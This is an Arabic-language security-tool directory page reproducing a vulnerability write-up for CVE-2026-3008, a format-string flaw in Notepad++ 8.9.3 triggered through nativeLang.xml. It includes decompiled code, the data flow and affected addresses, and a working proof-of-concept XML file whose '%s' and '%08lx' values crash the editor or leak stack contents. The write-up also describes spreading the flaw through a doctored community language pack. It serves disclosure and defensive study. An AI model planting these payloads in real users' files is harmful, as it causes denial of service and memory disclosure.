Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-3008 — تحليل تقني وإثبات مفهوم لـ CVE-2026-3008، وهي حقنة سلسلة تنسيق في Notepad++ 8.9.3 عبر nativeLang.xml، مما يتيح رفض الخدمة وكشف المعلومات. | Kitploit
أدوات/GitHubGitHub/llgsjsm/cve-2026-3008
تحليل الثغرات الأمنيةالاستغلالأمن الويبتحليل البرمجيات الخبيثةتحليل الملفات الثنائية
GitHubllgsjsm/cve-2026-3008

CVE-2026-3008

تحليل تقني وإثبات مفهوم لـ CVE-2026-3008، وهي حقنة سلسلة تنسيق في Notepad++ 8.9.3 عبر nativeLang.xml، مما يتيح رفض الخدمة وكشف المعلومات.

عرض المستودع
منذ 4 أشهرلم تتم المراجعة بعد
الموقع الإلكتروني

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-3008 — ثغرة حقن سلسلة التنسيق في Notepad++ 8.9.3 عبر nativeLang.xml

الثغرة

عندما تُنتج عملية بحث نتائج، تقوم الدالة sub_1400916C0 بتنسيق تسمية عدد النتائج عن طريق استرجاع سلسلة مترجمة من nativeLang.xml وتمريرها مباشرة كسلسلة تنسيق إلى wsprintfW:

root@kitploit:~
sub_140099E60(v37, v51, *(unsigned int *)(a1 + 196));  // get localized string
v38 = (const WCHAR *)v51;
if ( v53 > 7 )
    v38 = v51[0];                                       // SSO: heap pointer
wsprintfW((LPWSTR)(a1 + 0xC8), v38);                   // v38 is the format string

تنشأ السلسلة من السمة <find-result-hits> في nativeLang.xml دون أي تحقق في أي نقطة من مسار تدفق البيانات:

root@kitploit:~
nativeLang.xml
  → محلل TinyXML          (يقرأ سمة XML، دون التحقق من المحتوى)
  → NativeLangSpeaker       (تحويل UTF-8 → UTF-16، دون تحقق)
  → sub_140099E60           (استبدال $INT_REPLACE$ — تبقى محددات التنسيق سليمة)
  → wsprintfW(buf, v38)     (يُستخدم v38 كوسيطة سلسلة تنسيق، وليس كبيانات)

يتم استدعاء wsprintfW بوسيطتين فقط — دون وسائط بيانات متغيرة العدد. أي محددات تنسيق في v38 تقرأ قيمًا من فتحات الوسائط الخاصة باصطلاح استدعاء x64 (R8, R9, المكدس)، والتي تحتوي على بقايا قيم سجلات عشوائية.


المكوّن المتأثر

الحقلالقيمة
الدالةsub_1400916C0 (مُهيئ لوحة نتائج البحث)
عنوان نقطة الانهيار0x140091E6D
المُحفّزأي بحث يُنتج نتائج (بحث عن الكل، بحث في الملفات، تحديد الكل، استبدال الكل)

يتم استدعاء sub_1400916C0 من أربعة مواضع في إجراء نافذة نتائج البحث (sub_140089BF0):

العنوانالمُحفّز
0x14008B63Bبحث في الملفات
0x14008B72Dبحث عن الكل في المستند الحالي / جميع المستندات
0x14008B97Eاستبدال الكل
0x14008B9FEتحديد الكل

التأثير

تعطّل — %s (رفض الخدمة)

root@kitploit:~
<find-result-hits value="%s%s%s%s%s%s%s%s"/>

كل %s يفسّر قيمة سجل أو مكدس عشوائية كمؤشر WCHAR*. أول عنوان غير صالح يُطلق انتهاك وصول فوري (STATUS_ACCESS_VIOLATION, 0xC0000005). يتعطّل Notepad++ في كل بحث لاحق حتى تتم إزالة الملف الخبيث — رفض خدمة موثوق وفوري.

كشف المعلومات — %08lx

root@kitploit:~
<find-result-hits value="%08lx.%08lx.%08lx.%08lx.%08lx.%08lx.%08lx.%08lx"/>

تُقرأ محتويات المكدس والسجلات كقيم DWORD وتُنسق بالنظام الست عشري، وتظهر في تبويب لوحة نتائج البحث. مخرجات مُلاحظة من اختبار حي:

root@kitploit:~
8000c.d.5852bb18.0.1f8.61e.e0702.7b1052e0

قيم مثل 5852bb18 و7b1052e0 هي أجزاء مبتورة من مؤشرات 64-بت.

سقف الاستغلال

wsprintfW (user32.dll) لا يدعم %n — لا توجد بدائية كتابة-أين-ماذا. حد الإخراج الثابت البالغ 1024 حرفًا يطابق حجم المخزن الوجهة تمامًا، مما يستبعد تجاوز المخزن في الكومة. الثغرة مؤكدة كـ رفض خدمة + كشف معلومات. تنفيذ الكود غير قابل للتحقيق عبر سلسلة التنسيق هذه وحدها.


ناقل الهجوم

nativeLang.xml غير موجود افتراضيًا — تثبيتات اللغة الإنجليزية غير متأثرة. عندما يختار المستخدم لغة غير الإنجليزية عبر الإعدادات ← التفضيلات ← عام ← التوطين، يكتب Notepad++ الملف المقابل إلى:

الإصدارالمسار
المثبّت%APPDATA%\Notepad++\nativeLang.xml
المحمول<npp_directory>\nativeLang.xml

من بين 94 ملف توطين مُرفق، 43 تحتوي على عنصر <find-result-hits>. مستخدمو تلك اللغات معرّضون للخطر إذا تم العبث بـ nativeLang.xml الخاص بهم — على سبيل المثال، عبر حزمة لغة مجتمعية خبيثة تُوزَّع عبر المنتديات أو مواقع التنزيل. يمكن للمهاجم تضمين ترجمات شرعية لجميع السلاسل الأخرى، مما يجعل الملف يبدو طبيعيًا.


إثبات المفهوم

ضع الملف التالي في <npp_directory>\nativeLang.xml (المحمول) أو %APPDATA%\Notepad++\nativeLang.xml (المثبّت)، ثم افتح Notepad++ ونفّذ أي بحث يُنتج نتائج (Ctrl+F ← بحث عن الكل في المستند الحالي).

root@kitploit:~
<?xml version="1.0" encoding="UTF-8" ?>
<NotepadPlus>
    <Native-Langue name="PoC" filename="poc.xml" version="8.9.3">
        <Menu><Main></Main></Menu>
        <MiscStrings>
            <find-result-hits value="%s%s%s%s%s%s%s%s"/>
        </MiscStrings>
    </Native-Langue>
</NotepadPlus>

النتيجة: يتعطّل Notepad++ فورًا مع انتهاك وصول في wsprintfW.

توجد متغيرات حمولة إضافية في دليل payloads/.

تنزيل الأداة